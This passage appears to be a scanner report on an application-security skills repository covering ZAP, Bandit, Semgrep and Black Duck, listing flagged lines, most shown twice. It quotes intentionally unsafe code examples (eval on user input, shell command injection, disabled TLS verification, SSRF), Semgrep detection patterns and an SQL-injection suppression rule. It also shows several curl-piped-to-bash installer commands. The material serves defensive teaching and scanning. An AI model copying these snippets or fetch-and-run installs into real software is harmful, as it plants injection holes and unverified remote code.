    # Suppress X-Content-Type-Options for CDN static content 10021	https://cdn.example.com/static/.*	.*	693	IGNORE
  • Network accessline 224
    10021	https://cdn.example.com/static/.*	.*	693	IGNORE
  • Network accessline 224
    10021	https://cdn.example.com/static/.*	.*	693	IGNORE
  • Network accessline 226
    # Warn (don't fail) on analytics cookies without Secure flag 10054	https://example.com/.*	_ga|_gid	614	WARN
  • Network accessline 226
    # Warn (don't fail) on analytics cookies without Secure flag 10054	https://example.com/.*	_ga|_gid	614	WARN
  • Network accessline 227
    10054	https://example.com/.*	_ga|_gid	614	WARN
  • Network accessline 227
    10054	https://example.com/.*	_ga|_gid	614	WARN
  • Network accessline 229
    # Ignore timestamp disclosure in API responses 10096	https://api.example.com/.*	.*	200	IGNORE
  • Network accessline 229
    # Ignore timestamp disclosure in API responses 10096	https://api.example.com/.*	.*	200	IGNORE
  • Network accessline 230
    10096	https://api.example.com/.*	.*	200	IGNORE
  • Network accessline 230
    10096	https://api.example.com/.*	.*	200	IGNORE
  • Network accessline 232
    # Ignore legitimate external JavaScript (with SRI) 10017	https://example.com/.*	https://cdn.jsdelivr.net/.*	829	IGNORE
  • Network accessline 232
    # Ignore legitimate external JavaScript (with SRI) 10017	https://example.com/.*	https://cdn.jsdelivr.net/.*	829	IGNORE
  • Network accessline 233
    10017	https://example.com/.*	https://cdn.jsdelivr.net/.*	829	IGNORE
  • Network accessline 233
    10017	https://example.com/.*	https://cdn.jsdelivr.net/.*	829	IGNORE
  • Network accessline 235
    # Suppress CSRF warnings for stateless API 10202	https://api.example.com/.*	.*	352	IGNORE
  • Network accessline 235
    # Suppress CSRF warnings for stateless API 10202	https://api.example.com/.*	.*	352	IGNORE
  • Network accessline 236
    10202	https://api.example.com/.*	.*	352	IGNORE
  • Network accessline 236
    10202	https://api.example.com/.*	.*	352	IGNORE
  • Network accessline 242
    # Baseline scan with rules docker run -t zaproxy/zap-stable zap-baseline.py \   -t https://example.com \
  • Network accessline 242
    # Baseline scan with rules docker run -t zaproxy/zap-stable zap-baseline.py \   -t https://example.com \
  • Network accessline 243
    docker run -t zaproxy/zap-stable zap-baseline.py    -t https://example.com
  • Network accessline 243
    docker run -t zaproxy/zap-stable zap-baseline.py    -t https://example.com
  • Network accessline 244
    -t https://example.com \
  • Network accessline 244
    -t https://example.com \
  • Network accessline 248
    # Full scan with rules docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py \   -t https://example.com \
  • Network accessline 248
    # Full scan with rules docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py \   -t https://example.com \
  • Network accessline 249
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py    -t https://example.com
  • Network accessline 249
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py    -t https://example.com
  • Network accessline 250
    -t https://example.com \
  • Network accessline 250
    -t https://example.com \
  • Network accessline 376
    # BAD: No context 10054	https://example.com/.*	session_id	614	IGNORE
  • Network accessline 376
    # BAD: No context 10054	https://example.com/.*	session_id	614	IGNORE
  • Network accessline 377
    10054	https://example.com/.*	session_id	614	IGNORE
  • Network accessline 377
    10054	https://example.com/.*	session_id	614	IGNORE
  • Network accessline 379
    # GOOD: Documented reason # Session cookie is HTTPS-only in production; suppressing for staging environment 10054	https://staging.example.com/.*	session_id	614	IGNORE
  • Network accessline 379
    # GOOD: Documented reason # Session cookie is HTTPS-only in production; suppressing for staging environment 10054	https://staging.example.com/.*	session_id	614	IGNORE
  • Network accessline 381
    10054	https://staging.example.com/.*	session_id	614	IGNORE
  • Network accessline 381
    10054	https://staging.example.com/.*	session_id	614	IGNORE
  • Network accessline 389
    # DANGEROUS: Never suppress SQL injection without verification 40018	https://example.com/.*	.*	89	IGNORE
  • Network accessline 389
    # DANGEROUS: Never suppress SQL injection without verification 40018	https://example.com/.*	.*	89	IGNORE
  • Network accessline 390
    40018	https://example.com/.*	.*	89	IGNORE
  • Network accessline 390
    40018	https://example.com/.*	.*	89	IGNORE
  • Network accessline 425
    - [ZAP Alert Details](https://www.zaproxy.org/docs/alerts/)
  • Network accessline 425
    - [ZAP Alert Details](https://www.zaproxy.org/docs/alerts/)
  • Network accessline 426
    - [ZAP Scan Rules](https://www.zaproxy.org/docs/docker/baseline-scan/)
  • Network accessline 426
    - [ZAP Scan Rules](https://www.zaproxy.org/docs/docker/baseline-scan/)
  • Network accessline 427
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 427
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)

skills/appsec/dast-zap/references/owasp_mapping.md

  • Network accessline 252
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 252
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 253
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 253
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 254
    - [ZAP Alert Details](https://www.zaproxy.org/docs/alerts/)
  • Network accessline 254
    - [ZAP Alert Details](https://www.zaproxy.org/docs/alerts/)
  • Network accessline 255
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 255
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)

skills/appsec/sast-bandit/SKILL.md

  • Network accessline 17
    packages: [bandit] references:   - https://github.com/PyCQA/bandit
  • Network accessline 17
    packages: [bandit] references:   - https://github.com/PyCQA/bandit
  • Network accessline 18
    references:   - https://github.com/PyCQA/bandit   - https://bandit.readthedocs.io/
  • Network accessline 18
    references:   - https://github.com/PyCQA/bandit   - https://bandit.readthedocs.io/
  • Network accessline 19
    - https://github.com/PyCQA/bandit
  • Network accessline 19
    - https://github.com/PyCQA/bandit
  • Network accessline 20
    - https://bandit.readthedocs.io/
  • Network accessline 20
    - https://bandit.readthedocs.io/
  • Network accessline 21
    - https://owasp.org/www-project-top-ten/
  • Network accessline 21
    - https://owasp.org/www-project-top-ten/
  • Network accessline 290
    - repo: https://github.com/PyCQA/bandit
  • Network accessline 290
    - repo: https://github.com/PyCQA/bandit
  • Network accessline 301
    - [Bandit Documentation](https://bandit.readthedocs.io/)
  • Network accessline 301
    - [Bandit Documentation](https://bandit.readthedocs.io/)
  • Network accessline 302
    - [Bandit GitHub Repository](https://github.com/PyCQA/bandit)
  • Network accessline 302
    - [Bandit GitHub Repository](https://github.com/PyCQA/bandit)
  • Network accessline 303
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 303
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 304
    - [CWE Database](https://cwe.mitre.org/)
  • Network accessline 304
    - [CWE Database](https://cwe.mitre.org/)
  • Network accessline 305
    - [Python Security Best Practices](https://python.readthedocs.io/en/stable/library/security_warnings.html)
  • Network accessline 305
    - [Python Security Best Practices](https://python.readthedocs.io/en/stable/library/security_warnings.html)

skills/appsec/sast-bandit/assets/bandit_config.yaml

  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Dangerous shell operationline 204
    #   result = eval(safe_expression)  # nosec B307
  • Dangerous shell operationline 204
    #   result = eval(safe_expression)  # nosec B307

skills/appsec/sast-bandit/assets/pre-commit-config.yaml

  • Network accessline 18
    repos:   # Python code formatting and linting   - repo: https://github.com/psf/black
  • Network accessline 18
    repos:   # Python code formatting and linting   - repo: https://github.com/psf/black
  • Network accessline 19
    # Python code formatting and linting   - repo: https://github.com/psf/black     rev: 23.12.1
  • Network accessline 19
    # Python code formatting and linting   - repo: https://github.com/psf/black     rev: 23.12.1
  • Network accessline 20
    - repo: https://github.com/psf/black
  • Network accessline 20
    - repo: https://github.com/psf/black
  • Network accessline 26
    - repo: https://github.com/pycqa/isort
  • Network accessline 26
    - repo: https://github.com/pycqa/isort
  • Network accessline 32
    - repo: https://github.com/pycqa/flake8
  • Network accessline 32
    - repo: https://github.com/pycqa/flake8
  • Network accessline 38
    # Security scanning with Bandit   - repo: https://github.com/PyCQA/bandit
  • Network accessline 38
    # Security scanning with Bandit   - repo: https://github.com/PyCQA/bandit
  • Network accessline 39
    - repo: https://github.com/PyCQA/bandit
  • Network accessline 39
    - repo: https://github.com/PyCQA/bandit
  • Network accessline 66
    # Alternative Bandit configuration with stricter settings   # Uncomment to use this instead of the above   # - repo: https://github.com/PyCQA/bandit
  • Network accessline 66
    # Alternative Bandit configuration with stricter settings   # Uncomment to use this instead of the above   # - repo: https://github.com/PyCQA/bandit
  • Network accessline 67
    # Uncomment to use this instead of the above   # - repo: https://github.com/PyCQA/bandit   #   rev: '1.7.5'
  • Network accessline 67
    # Uncomment to use this instead of the above   # - repo: https://github.com/PyCQA/bandit   #   rev: '1.7.5'
  • Network accessline 68
    # - repo: https://github.com/PyCQA/bandit
  • Network accessline 68
    # - repo: https://github.com/PyCQA/bandit
  • Network accessline 99
    # Additional security and quality checks   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 99
    # Additional security and quality checks   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 100
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 100
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 136
    # Dependency security scanning   - repo: https://github.com/Lucas-C/pre-commit-hooks-safety
  • Network accessline 136
    # Dependency security scanning   - repo: https://github.com/Lucas-C/pre-commit-hooks-safety
  • Network accessline 137
    - repo: https://github.com/Lucas-C/pre-commit-hooks-safety
  • Network accessline 137
    - repo: https://github.com/Lucas-C/pre-commit-hooks-safety
  • Network accessline 143
    # Secret detection   - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 143
    # Secret detection   - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 144
    - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 144
    - repo: https://github.com/Yelp/detect-secrets

skills/appsec/sast-bandit/references/cwe_owasp_mapping.md

  • Network accessline 155
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 155
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 156
    - [CWE Database](https://cwe.mitre.org/)
  • Network accessline 156
    - [CWE Database](https://cwe.mitre.org/)
  • Network accessline 157
    - [Bandit Documentation](https://bandit.readthedocs.io/)
  • Network accessline 157
    - [Bandit Documentation](https://bandit.readthedocs.io/)

skills/appsec/sast-bandit/references/remediation_guide.md

  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 174
    # String concatenation (UNSAFE) cmd = "curl " + user_url
  • Network accessline 174
    # String concatenation (UNSAFE) cmd = "curl " + user_url
  • Network accessline 175
    cmd = "curl " + user_url
  • Network accessline 175
    cmd = "curl " + user_url
  • Network accessline 320
    # Disabling certificate verification (VERY UNSAFE) requests.get('https://example.com', verify=False)
  • Network accessline 320
    # Disabling certificate verification (VERY UNSAFE) requests.get('https://example.com', verify=False)
  • Network accessline 321
    requests.get('https://example.com', verify=False)
  • Network accessline 321
    requests.get('https://example.com', verify=False)
  • Network accessline 337
    # Enable certificate verification (default in requests) response = requests.get('https://example.com', verify=True)
  • Network accessline 337
    # Enable certificate verification (default in requests) response = requests.get('https://example.com', verify=True)
  • Network accessline 338
    response = requests.get('https://example.com', verify=True)
  • Network accessline 338
    response = requests.get('https://example.com', verify=True)
  • Network accessline 340
    # Custom CA bundle response = requests.get('https://example.com', verify='/path/to/ca-bundle.crt')
  • Network accessline 340
    # Custom CA bundle response = requests.get('https://example.com', verify='/path/to/ca-bundle.crt')
  • Network accessline 341
    response = requests.get('https://example.com', verify='/path/to/ca-bundle.crt')
  • Network accessline 341
    response = requests.get('https://example.com', verify='/path/to/ca-bundle.crt')
  • Network accessline 347
    url = 'https://example.com' response = urllib.request.urlopen(url, context=context, cafile=certifi.where())
  • Network accessline 347
    url = 'https://example.com' response = urllib.request.urlopen(url, context=context, cafile=certifi.where())
  • Network accessline 348
    response = urllib.request.urlopen(url, context=context, cafile=certifi.where())
  • Network accessline 348
    response = urllib.request.urlopen(url, context=context, cafile=certifi.where())
  • Access to secretsline 393
    [Credential-related source omitted]
  • Access to secretsline 393
    [Credential-related source omitted]
  • Access to secretsline 510
    [Credential-related source omitted]
  • Access to secretsline 510
    [Credential-related source omitted]
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 518
    [Credential-related source omitted]
  • Access to secretsline 518
    [Credential-related source omitted]
  • Network accessline 620
    - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
  • Network accessline 620
    - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
  • Network accessline 621
    - [Python Security Best Practices](https://python.readthedocs.io/en/stable/library/security_warnings.html)
  • Network accessline 621
    - [Python Security Best Practices](https://python.readthedocs.io/en/stable/library/security_warnings.html)
  • Network accessline 622
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 622
    - [CWE Top 25](https://cwe.mitre.org/top25/)

skills/appsec/sast-semgrep/SKILL.md

  • Network accessline 19
    tools: [git] references:   - https://semgrep.dev/docs/
  • Network accessline 19
    tools: [git] references:   - https://semgrep.dev/docs/
  • Network accessline 20
    references:   - https://semgrep.dev/docs/   - https://owasp.org/Top10/
  • Network accessline 20
    references:   - https://semgrep.dev/docs/   - https://owasp.org/Top10/
  • Network accessline 21
    - https://semgrep.dev/docs/
  • Network accessline 21
    - https://semgrep.dev/docs/
  • Network accessline 22
    - https://owasp.org/Top10/
  • Network accessline 22
    - https://owasp.org/Top10/
  • Network accessline 23
    - https://cwe.mitre.org/
  • Network accessline 23
    - https://cwe.mitre.org/
  • Network accessline 280
    - [Semgrep Documentation](https://semgrep.dev/docs/)
  • Network accessline 280
    - [Semgrep Documentation](https://semgrep.dev/docs/)
  • Network accessline 281
    - [Semgrep Rule Registry](https://semgrep.dev/explore)
  • Network accessline 281
    - [Semgrep Rule Registry](https://semgrep.dev/explore)
  • Network accessline 282
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 282
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 283
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 283
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 284
    - [SANS Top 25](https://www.sans.org/top25-software-errors/)
  • Network accessline 284
    - [SANS Top 25](https://www.sans.org/top25-software-errors/)

skills/appsec/sast-semgrep/assets/rule_template.yaml

  • Network accessline 33
    impact: HIGH  # Potential security impact       references:         - https://owasp.org/...
  • Network accessline 33
    impact: HIGH  # Potential security impact       references:         - https://owasp.org/...
  • Network accessline 34
    references:         - https://owasp.org/...         - https://cwe.mitre.org/data/definitions/XXX.html
  • Network accessline 34
    references:         - https://owasp.org/...         - https://cwe.mitre.org/data/definitions/XXX.html
  • Network accessline 35
    - https://owasp.org/...
  • Network accessline 35
    - https://owasp.org/...
  • Network accessline 36
    - https://cwe.mitre.org/data/definitions/XXX.html
  • Network accessline 36
    - https://cwe.mitre.org/data/definitions/XXX.html
  • Network accessline 73
    impact: HIGH       references:         - https://owasp.org/Top10/A03_2021-Injection/
  • Network accessline 73
    impact: HIGH       references:         - https://owasp.org/Top10/A03_2021-Injection/
  • Network accessline 75
    - https://owasp.org/Top10/A03_2021-Injection/
  • Network accessline 75
    - https://owasp.org/Top10/A03_2021-Injection/
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]

skills/appsec/sast-semgrep/references/owasp_cwe_mapping.md

  • Dangerous shell operationline 104
    - Use of eval() or similar dynamic code execution
  • Dangerous shell operationline 104
    - Use of eval() or similar dynamic code execution
  • Network accessline 298
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 298
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 299
    - [CWE/SANS Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 299
    - [CWE/SANS Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 300
    - [Semgrep Rule Registry](https://semgrep.dev/explore)
  • Network accessline 300
    - [Semgrep Rule Registry](https://semgrep.dev/explore)

skills/appsec/sast-semgrep/references/remediation_guide.md

  • Dangerous shell operationline 156
    exec(`ls ${userDir}`);
  • Dangerous shell operationline 156
    exec(`ls ${userDir}`);
  • Dangerous shell operationline 223
    const data = eval(userInput);
  • Dangerous shell operationline 223
    const data = eval(userInput);
  • Access to secretsline 298
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 371
    import requests url = request.args.get('url') response = requests.get(url)
  • Network accessline 371
    import requests url = request.args.get('url') response = requests.get(url)
  • Network accessline 373
    response = requests.get(url)
  • Network accessline 373
    response = requests.get(url)
  • Network accessline 404
    return requests.get(url, timeout=5)
  • Network accessline 404
    return requests.get(url, timeout=5)
  • Network accessline 469
    - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
  • Network accessline 469
    - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
  • Network accessline 470
    - [CWE Mitigations](https://cwe.mitre.org/)
  • Network accessline 470
    - [CWE Mitigations](https://cwe.mitre.org/)
  • Network accessline 471
    - [Semgrep Autofix](https://semgrep.dev/docs/writing-rules/autofix/)
  • Network accessline 471
    - [Semgrep Autofix](https://semgrep.dev/docs/writing-rules/autofix/)

skills/appsec/sast-semgrep/references/rule_library.md

  • Dangerous shell operationline 222
    - pattern: eval($ARG)
  • Dangerous shell operationline 222
    - pattern: eval($ARG)
  • Dangerous shell operationline 223
    - pattern: exec($ARG)
  • Dangerous shell operationline 223
    - pattern: exec($ARG)
  • Network accessline 325
    source-rule: url           # If adapted from elsewhere   references:     - https://example.com/docs
  • Network accessline 325
    source-rule: url           # If adapted from elsewhere   references:     - https://example.com/docs
  • Network accessline 327
    - https://example.com/docs
  • Network accessline 327
    - https://example.com/docs
  • Network accessline 422
    - [Semgrep Rule Syntax](https://semgrep.dev/docs/writing-rules/rule-syntax/)
  • Network accessline 422
    - [Semgrep Rule Syntax](https://semgrep.dev/docs/writing-rules/rule-syntax/)
  • Network accessline 423
    - [Semgrep Registry](https://semgrep.dev/explore)
  • Network accessline 423
    - [Semgrep Registry](https://semgrep.dev/explore)
  • Network accessline 424
    - [Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples/)
  • Network accessline 424
    - [Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples/)
  • Network accessline 425
    - [Rule Writing Tutorial](https://semgrep.dev/learn)
  • Network accessline 425
    - [Rule Writing Tutorial](https://semgrep.dev/learn)

skills/appsec/sca-blackduck/SKILL.md

  • Network accessline 19
    access: [blackduck-url, api-token] references:   - https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html
  • Network accessline 19
    access: [blackduck-url, api-token] references:   - https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html
  • Network accessline 20
    references:   - https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html   - https://owasp.org/www-project-dependency-check/
  • Network accessline 20
    references:   - https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html   - https://owasp.org/www-project-dependency-check/
  • Network accessline 21
    - https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html
  • Network accessline 21
    - https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html
  • Network accessline 22
    - https://owasp.org/www-project-dependency-check/
  • Network accessline 22
    - https://owasp.org/www-project-dependency-check/
  • Network accessline 23
    - https://nvd.nist.gov/
  • Network accessline 23
    - https://nvd.nist.gov/
  • Network accessline 24
    - https://www.cisa.gov/sbom
  • Network accessline 24
    - https://www.cisa.gov/sbom
  • Network accessline 41
    # Using Black Duck Detect (recommended) bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 41
    # Using Black Duck Detect (recommended) bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 42
    [Credential-related source omitted]
  • Dangerous shell operationline 42
    [Credential-related source omitted]
  • Network accessline 42
    [Credential-related source omitted]
  • Network accessline 42
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Network accessline 52
    # Fail build on policy violations bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 52
    # Fail build on policy violations bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 53
    [Credential-related source omitted]
  • Dangerous shell operationline 53
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 188
    # Scan PR changes, fail on new high-severity vulnerabilities bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 188
    # Scan PR changes, fail on new high-severity vulnerabilities bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 189
    [Credential-related source omitted]
  • Dangerous shell operationline 189
    [Credential-related source omitted]
  • Network accessline 189
    [Credential-related source omitted]
  • Network accessline 189
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Network accessline 279
    # Enforce custom policy during scan bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 279
    # Enforce custom policy during scan bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 280
    [Credential-related source omitted]
  • Dangerous shell operationline 280
    [Credential-related source omitted]
  • Network accessline 280
    [Credential-related source omitted]
  • Network accessline 280
    [Credential-related source omitted]
  • Access to secretsline 280
    [Credential-related source omitted]
  • Access to secretsline 280
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Network accessline 292
    # Use intelligent scan mode (incremental) bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 292
    # Use intelligent scan mode (incremental) bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 293
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 293
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 293
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 293
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 298
    # Exclude test and development dependencies bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 298
    # Exclude test and development dependencies bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 299
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 299
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 299
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 299
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 385
    - [Black Duck Documentation](https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html)
  • Network accessline 385
    - [Black Duck Documentation](https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html)
  • Network accessline 386
    - [Black Duck Detect](https://sig-product-docs.synopsys.com/bundle/integrations-detect/page/introduction.html)
  • Network accessline 386
    - [Black Duck Detect](https://sig-product-docs.synopsys.com/bundle/integrations-detect/page/introduction.html)
  • Network accessline 387
    - [OWASP Dependency-Check](https://owasp.org/www-project-dependency-check/)
  • Network accessline 387
    - [OWASP Dependency-Check](https://owasp.org/www-project-dependency-check/)
  • Network accessline 388
    - [National Vulnerability Database](https://nvd.nist.gov/)
  • Network accessline 388
    - [National Vulnerability Database](https://nvd.nist.gov/)
  • Network accessline 389
    - [SBOM Standards (CISA)](https://www.cisa.gov/sbom)
  • Network accessline 389
    - [SBOM Standards (CISA)](https://www.cisa.gov/sbom)
  • Network accessline 390
    - [CycloneDX SBOM Standard](https://cyclonedx.org/)
  • Network accessline 390
    - [CycloneDX SBOM Standard](https://cyclonedx.org/)
  • Network accessline 391
    - [SPDX License List](https://spdx.org/licenses/)
  • Network accessline 391
    - [SPDX License List](https://spdx.org/licenses/)

skills/appsec/sca-blackduck/assets/blackduck_config.yml

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]

skills/appsec/sca-blackduck/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/appsec/sca-blackduck/assets/ci_integration/github_actions.yml

  • Network accessline 68
    run: |           # Generate Software Bill of Materials           curl -s -L https://detect.synopsys.com/detect.sh | bash -- \
  • Network accessline 68
    run: |           # Generate Software Bill of Materials           curl -s -L https://detect.synopsys.com/detect.sh | bash -- \
  • Network accessline 69
    # Generate Software Bill of Materials           curl -s -L https://detect.synopsys.com/detect.sh | bash -- \             --blackduck.url=${{ secrets.BLACKDUCK_URL }} \
  • Network accessline 69
    # Generate Software Bill of Materials           curl -s -L https://detect.synopsys.com/detect.sh | bash -- \             --blackduck.url=${{ secrets.BLACKDUCK_URL }} \
  • Dangerous shell operationline 70
    curl -s -L https://detect.synopsys.com/detect.sh | bash -- \
  • Dangerous shell operationline 70
    curl -s -L https://detect.synopsys.com/detect.sh | bash -- \
  • Network accessline 70
    curl -s -L https://detect.synopsys.com/detect.sh | bash -- \
  • Network accessline 70
    curl -s -L https://detect.synopsys.com/detect.sh | bash -- \

skills/appsec/sca-blackduck/assets/ci_integration/gitlab_ci.yml

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 22
    before_script:     - apt-get update && apt-get install -y curl bash jq
  • Network accessline 22
    before_script:     - apt-get update && apt-get install -y curl bash jq
  • Network accessline 23
    - apt-get update && apt-get install -y curl bash jq
  • Network accessline 23
    - apt-get update && apt-get install -y curl bash jq
  • Network accessline 28
    # Run Black Duck Detect     - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 28
    # Run Black Duck Detect     - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 29
    - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \         --blackduck.url=${BLACKDUCK_URL} \
  • Network accessline 29
    - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \         --blackduck.url=${BLACKDUCK_URL} \
  • Dangerous shell operationline 30
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 30
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 30
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 30
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 80
    before_script:     - apt-get update && apt-get install -y curl bash jq
  • Network accessline 80
    before_script:     - apt-get update && apt-get install -y curl bash jq
  • Network accessline 81
    - apt-get update && apt-get install -y curl bash jq
  • Network accessline 81
    - apt-get update && apt-get install -y curl bash jq
  • Network accessline 83
    script:     - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 83
    script:     - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 84
    - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \         --blackduck.url=${BLACKDUCK_URL} \
  • Network accessline 84
    - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \         --blackduck.url=${BLACKDUCK_URL} \
  • Dangerous shell operationline 85
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 85
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 85
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 85
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Access to secretsline 87
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]
